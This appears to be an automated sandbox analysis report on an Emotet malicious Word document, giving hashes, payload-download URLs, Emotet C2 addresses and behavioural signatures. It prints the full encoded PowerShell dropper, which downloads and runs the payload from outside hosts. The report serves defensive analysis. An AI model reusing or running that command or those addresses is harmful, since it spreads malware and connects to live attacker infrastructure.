Analysis
-
max time kernel
141s -
max time network
150s -
platform
windows10_x64 -
resource
win10v200722 -
submitted
15-10-2020 07:43
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e1_aa7280fb05501f752d412d103bd48c86094cc49ea8f3d9f6b3ab458a64997f63_2020-10-15__074121672394._doc.doc
Resource
win7v200722
General
-
Target
emotet_e1_aa7280fb05501f752d412d103bd48c86094cc49ea8f3d9f6b3ab458a64997f63_2020-10-15__074121672394._doc.doc
-
Size
142KB
-
MD5
0b5d5c4468a31e83e1ec8a0d8b120496
-
SHA1
68ac3e73c7bb88172984109977a8dc0f2c095522
-
SHA256
aa7280fb05501f752d412d103bd48c86094cc49ea8f3d9f6b3ab458a64997f63
-
SHA512
44b5682ac2f14a0de257bcab0eb42fc725536be8d9ecc432ca3a19ff3425c9b867a85b3d3b37cb1416f76b51d86ae2fcb563641f9fd6b18de0b34024dbc48fd1
Malware Config
Extracted
https://ziaonlinetutor.com/wp-content/a/
https://bharatlearningsolutions.com/content/MNd/
https://trungtammtc.com/wp-admin/LP/
http://bigprint.pictures/cgi-bin/o/
https://avozdecamacari.com/home/000~ROOT~000/dev/shm/E/
https://calculafacturaluz.com/sys-cache/9W/
http://evisualsoft-001-site3.atempurl.com/wp-content/C7/
Extracted
emotet
Epoch1
188.157.101.114:80
192.175.111.214:8080
95.85.33.23:8080
192.232.229.54:7080
181.30.61.163:443
186.70.127.199:8090
200.127.14.97:80
70.169.17.134:80
24.232.228.233:80
172.104.169.32:8080
50.28.51.143:8080
177.73.0.98:443
149.202.72.142:7080
37.187.161.206:8080
202.29.239.162:443
213.197.182.158:8080
202.134.4.210:7080
190.24.243.186:80
201.213.177.139:80
105.209.235.113:8080
111.67.12.221:8080
83.169.21.32:7080
216.47.196.104:80
77.238.212.227:80
98.13.75.196:80
181.129.96.162:8080
177.144.130.105:443
128.92.203.42:80
87.106.46.107:8080
177.23.7.151:80
12.162.84.2:8080
190.188.245.242:80
178.211.45.66:8080
45.46.37.97:80
104.131.41.185:8080
50.121.220.50:80
46.43.2.95:8080
137.74.106.111:7080
70.32.115.157:8080
51.15.7.189:80
68.183.170.114:8080
1.226.84.243:8080
74.135.120.91:80
68.183.190.199:8080
5.189.178.202:8080
191.182.6.118:80
190.190.219.184:80
212.71.237.140:8080
138.97.60.140:8080
70.32.84.74:8080
192.81.38.31:80
190.115.18.139:8080
12.163.208.58:80
74.58.215.226:80
178.250.54.208:8080
177.74.228.34:80
35.143.99.174:80
51.38.124.206:80
186.103.141.250:443
5.196.35.138:7080
82.76.111.249:443
219.92.13.25:80
185.183.16.47:80
177.144.130.105:8080
62.84.75.50:80
46.105.114.137:8080
51.255.165.160:8080
60.93.23.51:80
51.15.7.145:80
174.118.202.24:443
191.191.23.135:80
51.75.33.127:80
217.13.106.14:8080
152.169.22.67:80
192.241.143.52:8080
170.81.48.2:80
188.135.15.49:80
189.2.177.210:443
5.89.33.136:80
185.94.252.27:443
185.94.252.12:80
177.129.17.170:443
45.33.77.42:8080
209.236.123.42:8080
85.214.26.7:8080
64.201.88.132:80
46.101.58.37:8080
94.176.234.118:443
138.97.60.141:7080
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
POwersheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2672 3944 POwersheLL.exe -
Emotet Payload 4 IoCs
Detects Emotet payload in memory.
Processes:
resource yara_rule behavioral2/memory/1136-12-0x00000000022C0000-0x00000000022DF000-memory.dmp emotet behavioral2/memory/1136-13-0x00000000022E0000-0x00000000022FE000-memory.dmp emotet behavioral2/memory/488-16-0x0000000002100000-0x000000000211F000-memory.dmp emotet behavioral2/memory/488-17-0x0000000002120000-0x000000000213E000-memory.dmp emotet -
Blacklisted process makes network request 4 IoCs
Processes:
POwersheLL.exeflow pid process 26 2672 POwersheLL.exe 28 2672 POwersheLL.exe 30 2672 POwersheLL.exe 32 2672 POwersheLL.exe -
Executes dropped EXE 2 IoCs
Processes:
X_ec45.exeWindows.AccountsControl.exepid process 1136 X_ec45.exe 488 Windows.AccountsControl.exe -
Drops file in System32 directory 1 IoCs
Processes:
X_ec45.exedescription ioc process File opened for modification C:\Windows\SysWOW64\apds\Windows.AccountsControl.exe X_ec45.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3956 WINWORD.EXE 3956 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
POwersheLL.exeWindows.AccountsControl.exepid process 2672 POwersheLL.exe 2672 POwersheLL.exe 2672 POwersheLL.exe 488 Windows.AccountsControl.exe 488 Windows.AccountsControl.exe 488 Windows.AccountsControl.exe 488 Windows.AccountsControl.exe 488 Windows.AccountsControl.exe 488 Windows.AccountsControl.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
POwersheLL.exedescription pid process Token: SeDebugPrivilege 2672 POwersheLL.exe -
Suspicious use of SetWindowsHookEx 11 IoCs
Processes:
WINWORD.EXEX_ec45.exeWindows.AccountsControl.exepid process 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 3956 WINWORD.EXE 1136 X_ec45.exe 488 Windows.AccountsControl.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
POwersheLL.exeX_ec45.exedescription pid process target process PID 2672 wrote to memory of 1136 2672 POwersheLL.exe X_ec45.exe PID 2672 wrote to memory of 1136 2672 POwersheLL.exe X_ec45.exe PID 2672 wrote to memory of 1136 2672 POwersheLL.exe X_ec45.exe PID 1136 wrote to memory of 488 1136 X_ec45.exe Windows.AccountsControl.exe PID 1136 wrote to memory of 488 1136 X_ec45.exe Windows.AccountsControl.exe PID 1136 wrote to memory of 488 1136 X_ec45.exe Windows.AccountsControl.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEPID:3956"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_aa7280fb05501f752d412d103bd48c86094cc49ea8f3d9f6b3ab458a64997f63_2020-10-15__074121672394._doc.doc" /o ""Checks processor information in registryEnumerates system info in registrySuspicious behavior: AddClipboardFormatListenerSuspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePID:2672POwersheLL -ENCOD JABNAGEAMQB0AHIAZQBmAD0AKAAoACcAUgAnACsAJwBrADQAJwApACsAJwA2AHUAJwArACcAeABwACcAKQA7ACQATQB1AG4AbAB3ADIAcwA9ACQAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARABlADkAawBpAHcAMQA9ACgAJwBJAHYAJwArACgAJwA3AHgAZQAnACsAJwB5AG4AJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABFAG4AdgA6AFUAUwBlAHIAcAByAG8AZgBpAGwARQBcAG8AdwBnAFkAXwBQAE0AXABnAHQARwBtAF8AWQA1AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAGUAYwBUAE8AUgBZADsAJABTAHIANQB2AGIAXwAzAD0AKAAoACcATQBnACcAKwAnAF8AMQB4ACcAKQArACcAcwAnACsAJwA4ACcAKQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAEMAVQBgAFIAaQB0AGAAeQBwAHIATwBgAFQAbwBjAG8ATAAiACAAPQAgACgAJwB0ACcAKwAnAGwAJwArACgAJwBzADEAMgAsACAAJwArACcAdABsAHMAMQAnACsAJwAxACcAKQArACcALAAnACsAKAAnACAAdABsACcAKwAnAHMAJwApACkAOwAkAEMAcwBoADcAMgB1AHgAPQAoACgAJwBIAGkAZwAnACsAJwA3AGoAJwApACsAJwBzADcAJwApADsAJABZAHoAYwBlAGYAawBfACAAPQAgACgAJwBYACcAKwAnAF8AZQAnACsAKAAnAGMAJwArACcANAA1ACcAKQApADsAJABFAG4AcwA0AGMAdwBhAD0AKAAnAFcAJwArACgAJwB6AGoAdAB4AHEAJwArACcAcwAnACkAKQA7ACQARQA2ADkAawA0ADQAOAA9ACgAJwBaACcAKwAoACcAawBfADQAeQAnACsAJwBuADYAJwApACkAOwAkAEwAeABtAHMAOABvAGoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0ATwAnACsAJwB3ACcAKwAnAGcAeQAnACsAJwBfAHAAbQB7ADAAfQBHAHQAJwArACcAZwBtACcAKwAnAF8AeQA1AHsAMAB9ACcAKQAtAGYAWwBDAGgAYQByAF0AOQAyACkAKwAkAFkAegBjAGUAZgBrAF8AKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABHADYAYgBzAGoAMgB2AD0AKAAnAEgAbwAnACsAKAAnAG0AaABfACcAKwAnAF8AJwApACsAJwBqACcAKQA7ACQASwBoAHYAdwAwAG0AZgA9AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AbwBiAGoAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBDAEwASQBFAE4AVAA7ACQARwAyADIAeQBoAHQAagA9ACgAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAoACcAegAnACsAJwBpAGEAbwBuAGwAaQBuAGUAJwArACcAdAB1ACcAKwAnAHQAJwApACsAKAAnAG8AcgAnACsAJwAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvACcAKwAnAHcAcAAtAGMAJwArACcAbwBuAHQAZQBuACcAKwAnAHQALwAnACkAKwAnAGEAJwArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAOgAnACsAJwAvACcAKwAoACcALwBiACcAKwAnAGgAYQByAGEAdAAnACsAJwBsAGUAYQAnACkAKwAnAHIAJwArACgAJwBuACcAKwAnAGkAbgAnACkAKwAoACcAZwBzAG8AJwArACcAbAB1AHQAaQAnACkAKwAoACcAbwAnACsAJwBuAHMAJwApACsAJwAuAGMAJwArACgAJwBvAG0ALwBjACcAKwAnAG8AJwApACsAJwBuAHQAJwArACcAZQBuACcAKwAoACcAdAAvACcAKwAnAE0AJwApACsAKAAnAE4AZAAnACsAJwAvACoAJwArACcAaAB0AHQAJwArACcAcABzADoALwAnACkAKwAoACcALwB0AHIAJwArACcAdQAnACkAKwAoACcAbgAnACsAJwBnAHQAJwApACsAJwBhACcAKwAoACcAbQAnACsAJwBtAHQAYwAuAGMAJwArACcAbwAnACsAJwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8ATABQAC8AKgAnACkAKwAoACcAaAB0AHQAJwArACcAcAA6ACcAKwAnAC8ALwBiAGkAZwAnACsAJwBwAHIAaQBuAHQAJwApACsAJwAuAHAAJwArACgAJwBpAGMAJwArACcAdAAnACsAJwB1AHIAZQBzAC8AJwApACsAKAAnAGMAZwBpACcAKwAnAC0AYgBpAG4ALwAnACsAJwBvAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAJwB0AHAAJwArACcAcwAnACsAKAAnADoAJwArACcALwAvACcAKQArACgAJwBhAHYAbwB6ACcAKwAnAGQAZQBjAGEAbQAnACsAJwBhACcAKQArACcAYwAnACsAKAAnAGEAcgBpACcAKwAnAC4AYwBvAG0AJwApACsAJwAvAGgAJwArACgAJwBvAG0AZQAnACsAJwAvADAAJwApACsAJwAwADAAJwArACgAJwB+AFIAJwArACcATwBPACcAKwAnAFQAfgAwADAAMAAnACsAJwAvACcAKQArACgAJwBkAGUAJwArACcAdgAnACkAKwAoACcALwBzACcAKwAnAGgAbQAvACcAKQArACgAJwBFAC8AKgBoAHQAJwArACcAdABwAHMAJwApACsAJwA6AC8AJwArACgAJwAvACcAKwAnAGMAYQBsACcAKQArACcAYwB1ACcAKwAoACcAbAAnACsAJwBhAGYAJwApACsAJwBhACcAKwAnAGMAdAAnACsAJwB1AHIAJwArACgAJwBhAGwAJwArACcAdQAnACkAKwAoACcAegAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHMAeQAnACkAKwAoACcAcwAnACsAJwAtAGMAJwApACsAJwBhACcAKwAoACcAYwBoAGUALwAnACsAJwA5ACcAKwAnAFcALwAqACcAKQArACcAaAB0ACcAKwAoACcAdABwADoALwAnACsAJwAvACcAKwAnAGUAdgBpACcAKQArACgAJwBzAHUAYQAnACsAJwBsACcAKQArACgAJwBzAG8AJwArACcAZgAnACkAKwAoACcAdAAnACsAJwAtADAAMAAxAC0AcwBpAHQAZQAzACcAKwAnAC4AJwApACsAJwBhACcAKwAnAHQAZQAnACsAKAAnAG0AcAB1AHIAbAAnACsAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0ALwAnACsAJwB3AHAAJwArACgAJwAtAGMAbwBuACcAKwAnAHQAJwApACsAJwBlACcAKwAoACcAbgB0AC8AJwArACcAQwAnACsAJwA3AC8AJwApACkALgAiAFMAcABgAEwASQBUACIAKAAkAE0AdQBuAGwAdwAyAHMAKQA7ACQASwA4ADkAaQA3AHUANgA9ACgAKAAnAE0AJwArACcAbAA1ADMAeAAnACkAKwAnAGkAJwArACcAZwAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEgAeAB4AGoAbwA4ADkAIABpAG4AIAAkAEcAMgAyAHkAaAB0AGoAKQB7AHQAcgB5AHsAJABLAGgAdgB3ADAAbQBmAC4AIgBEAE8AdwBuAEwATwBBAGQAZgBgAGkAYABMAEUAIgAoACQASAB4AHgAagBvADgAOQAsACAAJABMAHgAbQBzADgAbwBqACkAOwAkAFYAcQBrADMAcABfADUAPQAoACcARwB5ACcAKwAoACcAYQBwACcAKwAnAHIAJwApACsAJwAxAGcAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEwAeABtAHMAOABvAGoAKQAuACIAbABgAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAOQA4ADIAMAApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACgAJABMAHgAbQBzADgAbwBqACkAOwAkAEwAbgAzAHEAdwAwADEAPQAoACcAUgBiACcAKwAoACcAOQAnACsAJwA4ADUAJwApACsAJwB4AGIAJwApADsAYgByAGUAYQBrADsAJABXAG0AdQB6AHIAZQBwAD0AKAAnAE0AXwAnACsAJwBpAHQAJwArACgAJwBxACcAKwAnADcAMwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVwAxAGgANwBwAGIAaQA9ACgAJwBPADQAJwArACcAMgAnACsAKAAnADAAJwArACcAOAB1AHAAJwApACkAProcess spawned unexpected child processBlacklisted process makes network requestSuspicious behavior: EnumeratesProcessesSuspicious use of AdjustPrivilegeTokenSuspicious use of WriteProcessMemory
-
C:\Users\Admin\Owgy_pm\Gtgm_y5\X_ec45.exePID:1136"C:\Users\Admin\Owgy_pm\Gtgm_y5\X_ec45.exe"Executes dropped EXEDrops file in System32 directorySuspicious use of SetWindowsHookExSuspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\apds\Windows.AccountsControl.exePID:488"C:\Windows\SysWOW64\apds\Windows.AccountsControl.exe"Executes dropped EXESuspicious behavior: EnumeratesProcessesSuspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Matrix
Collection
Command and Control
Credential Access
Defense Evasion
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Replay Monitor
Downloads
-
C:\Users\Admin\Owgy_pm\Gtgm_y5\X_ec45.exeMD5
3b7449cd8c9047abebf15753df263af6
SHA17e48a9edf1700393af6368b8b8de7ec3f4828f87
SHA256537d9115a8b97d2c1279ce76870acd5e08efedda770f86f2e78e24222b443de7
SHA512300ac2ffe1afe575aca3adfa73532b939f9c7132c3e0833ae30a6dfa320a06381cd5836dca19014388500c996b0988a8d3ef44749bea00911117ab959215ec07
-
C:\Users\Admin\owgY_PM\gtGm_Y5\X_ec45.exeMD5
3b7449cd8c9047abebf15753df263af6
SHA17e48a9edf1700393af6368b8b8de7ec3f4828f87
SHA256537d9115a8b97d2c1279ce76870acd5e08efedda770f86f2e78e24222b443de7
SHA512300ac2ffe1afe575aca3adfa73532b939f9c7132c3e0833ae30a6dfa320a06381cd5836dca19014388500c996b0988a8d3ef44749bea00911117ab959215ec07
-
C:\Windows\SysWOW64\apds\Windows.AccountsControl.exeMD5
3b7449cd8c9047abebf15753df263af6
SHA17e48a9edf1700393af6368b8b8de7ec3f4828f87
SHA256537d9115a8b97d2c1279ce76870acd5e08efedda770f86f2e78e24222b443de7
SHA512300ac2ffe1afe575aca3adfa73532b939f9c7132c3e0833ae30a6dfa320a06381cd5836dca19014388500c996b0988a8d3ef44749bea00911117ab959215ec07
-
memory/488-14-0x0000000000000000-mapping.dmp
-
memory/488-16-0x0000000002100000-0x000000000211F000-memory.dmpFilesize
124KB
-
memory/488-17-0x0000000002120000-0x000000000213E000-memory.dmpFilesize
120KB
-
memory/1136-9-0x0000000000000000-mapping.dmp
-
memory/1136-12-0x00000000022C0000-0x00000000022DF000-memory.dmpFilesize
124KB
-
memory/1136-13-0x00000000022E0000-0x00000000022FE000-memory.dmpFilesize
120KB
-
memory/2672-8-0x0000029C73600000-0x0000029C73601000-memory.dmpFilesize
4KB
-
memory/2672-7-0x0000029C73450000-0x0000029C73451000-memory.dmpFilesize
4KB
-
memory/2672-6-0x00007FF8FA470000-0x00007FF8FAE5C000-memory.dmpFilesize
9MB
-
memory/3956-0-0x00007FF901A90000-0x00007FF902156000-memory.dmpFilesize
6MB